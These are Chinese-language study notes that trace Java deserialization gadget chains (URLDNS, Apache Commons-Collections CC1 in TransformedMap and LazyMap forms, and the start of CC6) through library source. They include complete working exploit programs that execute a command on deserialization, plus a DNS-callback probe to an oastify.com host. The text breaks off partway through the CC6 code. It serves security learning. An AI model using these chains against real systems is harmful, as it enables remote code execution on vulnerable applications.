Java安全初探_CC链笔记

一些java反序列化相关的学习笔记

参考了挺多师傅的文章😀这里只做简单整理,详细内容推荐这位师傅:

Java

URLDNS

调用顺序:

1
2
3
4
5
HashMap->readObject ->
HashMap.putVal ->
HashMap.hash ->
URLStreamHandler->hashCode() ->
URLStreamHandler->getHostAddress()

简单跟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
    private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
//省略一些
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);

//--------------------------------------------------------
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}//注意这个key
//---------------------------------------------------------
//URL.java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}
//----------------------------------------------------------
transient URLStreamHandler handler;
//----------------------------------------------------------
//URLStreamHandler.java
protected int hashCode(URL u) {
int h = 0;

String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

InetAddress addr = getHostAddress(u);
//getHostAddress
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

put方法里的key放个URL,put触发同类下的hash方法hash方法触发同类下的key.hashcode,现在这个key是URL类的一个实例。其实就是调用了URL.java下的hashCode方法。hashCode(this)这里的this是调用该hashCode方法的对象本身,就是刚才那个URL实例。最终调用getHostAddress发起一个DNS请求。

初步EXP:

1
2
3
4
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();   
hashmap.put(new URL("dnslog生成的URL"),1);

serialize(hashmap);

这时会发现put的时候就能发起DNS查询,而不是反序列化,问题出在:

1
2
3
4
5
6
7
8
9
10
11
12
//HashMap.java
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
//URL.java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里如果hashCode不等于-1的话就会走我上面写那段链子(而一开始定义 HashMap 类的时候hashCode的初始值就是-1,相当于我们利用put里的hash做开头走完了这条链子,而不是利用readObject里的hash)。这里我们需要通过反射,目的是put时hashcode不等于-1,反序列化时等于-1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{  
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);//这里只要不是-1就行
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1); //这里改成-1,触发hashCode下的handler.hashCode(this);
serialize(hashmap);
}

CC1

初步写一下调用顺序:

1
2
3
4
5
Invokertransformer.transform ->
(TransformedMap.java)->checksetvalue方法
(TransformedMap.java)valueTransformer.transform ->
(TransformedMap.java的构造函数) ->定义了这个valueTransformer,但构造方法的作用域是protected,要想办法找别的方法去调用这个构造方法从而让这个valueTransformer可控
(这里找到了同类下的decorate方法,这个方法里直接new了一个TransformedMap对象,都实例化对象了肯定会调用它的构造方法)

执行命令的地方就是这个Invokertransformer下的transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//InvokerTransformer.java
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
//看下这些参数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;

利用这两个东西弹个计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
//Runtime.getRuntime().exec("calc");
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class InvokeTransformerTest {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

其实就是修改了利用反射弹计算器的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.omg.SendingContext.RunTime;  

import java.lang.reflect.Method;

public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}

然后寻找同名函数的不同调用:

1
2
3
4
//TransformedMap.java下存在
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

注意这个checkSetValue方法!其实就是把invokertransformer换成了valueTransformer,然后value放个实例化后的Runtime。看看这东西能否完美替换invokertransformer

1
2
3
4
5
6
//构造函数
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

然后public修饰的decorate就能直接new一个TransformedMap对象:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

截止到目前的思路:

1
2
3
4
5
6
7
TransformedMap.decorate -> 通过new一个实例
调用TransformedMap的构造方法 - > 从而定义valueTransformer
调用TransformedMap的checksetValue ->
调用valueTransformer.transform(value)

说白了就是换条路调用transform方法:
本来是invokerTransformer.transform(runtime),现在是从TransformedMap.java下走过去

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class decorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);
}
}

接下来是哪里调用了这个checkSetValue

1
2
3
4
5
6
7
8
//AbstractInputCheckedMapDecorator.java
//同时要注意这东西是TransformedMap的父类

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
//实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作

再往上跟:

1
2
3
4
//AbstractMapEntryDecorator.java
public Object setValue(Object object) {
return entry.setValue(object);
}

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。

还往上跟:

1
2
//Map.java
V setValue(V value);

先看下POC怎么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SetValueTest01 {  
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}
  • decorateMap.entrySet() 返回decorateMap中的所有键值对的集合。
  • Map.Entry 是一个表示Map中的键值对的接口。
  • entry.setValue(runtime) 将每个键值对的值设置为runtime的值。

其实比较关键的代码是这两部分:

1
2
3
4
5
hashMap.put("key", "value");  //这里先往Map里面放些值
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
} //遍历Map调用setValue方法,注意runtime这个参数:
//说白了还是在之前的基础上调用checksetValue(runtime)!

所以现在目标就是找readObject() 里面调用了 setValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//AnnotationInvocationHandler.java的readObject方法存在:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

这里拿了DB师傅的图:

cc1

那么现在我们的目的是要调用这个类下的readObject方法,但注意:

1
class AnnotationInvocationHandler implements InvocationHandler, Serializable

Java中,如果没有明确指定权限修饰符,则默认使用的是default修饰符。使用default修饰符修饰的类和成员变量等只能在同一个包中被访问,而不能在其他包中被访问。所以得通过反射调用这东西。

然后注意传参:

1
2
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
//第一个放个注解类型,第二个放的是我们要遍历的transformedMap

注解的话比如@override@Target这种

理想情况下的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package Example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

// 理想情况的 EXP
public class TransformMapImagineEXP {
public static void main(String[] args) throws Exception{

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, decorateMap);

// 序列化反序列化
//serialize(o);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

其实思路就是通过反射调用AnnotationInvocationHandler的构造函数(实例化一个)然后序列化反序列化触发重写的readObject方法进而调用上面说的setValue方法。

这段代码肯定是没结果的,需要解决一些问题:

1.Runtime对象不可序列化(没有implements Serializable)

CC102

这东西很好解决:Class对象是可以序列化的,先写一段利用反射实现弹计算器的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package FinalEXP;  

import java.lang.reflect.Method;

public class SolvedProblemRuntime {
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
}
//注意getRuntime方法是静态方法

将这个反射的 Runtime 改造为使用 InvokerTransformer.transform() 调用的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class SolvedProblemRuntime {  
public static void main(String[] args) throws Exception{

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//Class runtime = Runtime.class;
//相当于:Method m1 = runtime.getDeclaredMethod("getRuntime");,其实就是通过反射拿到了getruntime方法。
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//相当于:Runtime run1 = (Runtime)m1.invoke(null,null);runtime是个静态方法两个参数置空就行。其实就是获得了一个runtime的实例。
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//相当于下面这个东西:
// Method m2 = runtime.getDeclaredMethod("exec", String.class);
// m2.invoke(run1,"calc");
}
}

这里发现每个transform()方法的参数都是上一个结果,这时可以利用ChainedTransformer类下的transform方法进行简写。我们看下这个东西:

1
2
3
4
5
6
7
8
9
10
11
12
    public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
//放个Transformer数组,然后调用对应transform方法

现在怎么把这个ChainedTransformer套进去就很清晰了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformerEXP {  
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

注意最后的chainedTransformer.transform(Runtime.class),可以发现一个问题:这里又出现最初的transform方法调用了。所以现在把decorate后面那些给它拼上去:即通过AnnotationInvocationHandler下重写的readObject方法调用transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class ChainedTransformerEXP {  
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但这时并不会弹计算器,因为前面也说了想进到setValue方法得满足两个条件:

1
2
3
4
5
6
7
8
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
}

memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的。

我们先看看第一个memberType是什么意思:

cc103

我们传入的参数:

1
Object o = aihConstructor.newInstance(Override.class, decorateMap);  

这个注解得有成员变量(即成员的类型不能为空:memberType != null)。看看@override里面是否又成员变量:

cc104

可以看到这是个空的,不过好在@Target里面有个value

cc105

现在第一个if解决了,再看第二个if:要求 hashMap.put("para1", "para2") 中的 para1 与成员变量相对应。这里直接放前面的value就行。

这里直接放DB师傅的图:

cc106

最后一个问题就是这里setValue的参数:

1
2
3
4
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

可以看到这个参数并不是我们想要的Runtime.class,不过ConstantTransformer类的存在可以帮我们解决这个问题:

1
2
3
4
5
6
7
8
9
10
//ConstantTransformer.java
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}


public Object transform(Object input) {
return iConstant;
}

可以看到这东西的transform方法:不管input什么他都只能返回iConstant,而iConstant这东西可以在构造函数中定义。那么我们可以new一个ConstantTransformer(Runtime.class),这时调用它的transform方法时不管input什么都只能返回Runtime.class

最终EXP(参考了DB师傅的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package FinalEXP;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

// 最终的 EXPpublic class TransformMapEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby"); //这里键是value就行,值随便写
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结一下调用顺序:

1
2
3
4
AnnotationInvocationHandler.readObject ->
AbstractInputCheckedMapDecorator.setValue ->
TransformedMap.checkSetValue ->
InvokerTransformer.transform

最后注意:

1
2
3
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

这里的memberValues放的是transformedMap,最终会执行的是memberValue.setValue

AnnotationInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

CC1 Lazymap版

首先,lazy类下存在get方法,这里调用了transform

1
2
3
4
5
6
7
8
9
public Object get(Object key) {  
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

transform的话还是之前那个,里面的参数放个类就行。前面的factory就是invokertransformer

再往上跟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

//注意这个构造方法是私有的
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

私有的构造方法,还存在decorate这个静态方法可以实例化出一个Lazymap

先利用现有的东西调个计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CC1_REAL1 {
public static void main(String[] args) throws Exception{

Runtime runtime = Runtime.getruntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();

Map decoratemp = LazyMap.decorate(hashMap,invokerTransformer);
//这里其实是吧factory赋值为invokerTransformer
//其实最终的目的还是调用invokerTransformer.transform(runtime)!

Class<LazyMap> lazyMapClass = LazyMap.class;
//通过反射拿到get方法

Method getmethod = lazyMapClass.getDeclaredMethod("get", Object.class);

getmethod.setAccessible(true);

getmethod.invoke(decoratemp,runtime);
//然后注意这里的两个参数,第一个decoratemp,其实就是在它上面调用这个get方法。然后得知道参数就是runtime()[即transform的参数是runtime]

}
}

ChainedTransformer包装成LazyMap,接下来我们利用get去触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Lazy1 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
//create chain
Transformer transformerChain = new ChainedTransformer(transformers);
//LazyMap
HashMap hashMap = new HashMap();
LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
//poc
lazyM.get("foo");
}
}

这个get的值随便写就行,因为调用 LazyMap 的 get 方法时,如果该键对应的值不存在,LazyMap 会根据键和 Transformer 链生成一个新的值。在这个过程中,LazyMap 会依次应用 Transformer 链中的每一个 Transformer 对象,将前一个 Transformer 的输出作为后一个 Transformer 的输入,最终生成值。虽然后面transform()里面要放个对象进去,不过由于ConstantTransformer的存在最终还是变成Runtime,后面就是那个链式反应。

这这东西打个断点调试一下就知道了:

image-20240316195339864

AnnotationInvocationHandler.invoke() 方法调用了 get() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。接着我们再来看下这个this.memberValues是否可控并能否设置为LazyMap,查看构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

memberValues可控。对于invoke这个方法来说,会在代理对象的任意方法被调用时调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

readobject方法中恰好存在for (Map.Entry<String, Object> memberValue : memberValues.entrySet())。调用了memberValues的entrySet()方法,触发这个方法的时候会自动走到memberValues的invoke()方法。

把一个AnnotationInvocationHandler对象作为LazyMap动态代理的handler,最后再把代理后的LazyMap再赋值给一个新的Ann…Handler

1
2
3
4
5
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyM);
//set the handler for lazyM
Map proxyLazyM = (Map) Proxy.newProxyInstance(lazyM.getClass().getClassLoader(), lazyM.getClass().getInterfaces(),handler);
//set the memberValues to proxyLazyM
Object payload = ctor.newInstance(Retention.class, proxyLazyM);

这里我们利用newinstance弄了两个AnnotationInvocationHandler对象,其实第一个就是拿来当作动态代理的handler的。第二个是拿来当代理以触发readobject中的entrySet()方法。

最终EXP(参考了DB师傅的文章):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ysoChainsEXP;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

// 正版 CC1 链最终 EXP
public class LazyFinalEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

最后注意invoke方法的这里,必须要调用一个无参方法才会走到下面的get,否则在中途直接return了(这里我们用的是memberValues.entrySet())。

1
2
3
4
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC6

链子尾部与CC1相同:

1
LazyMap.get() ->  factory.transform() -> InvokeTransfromer.transfrom()

那么谁调用了这个get?

TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法:

1
2
3
4
//TiedMapEntry.java
public Object getValue() {
return map.get(key);
}

利用TiedMaEntry中的getvalue()方法调个计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TiedMapEntryEXP {  
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
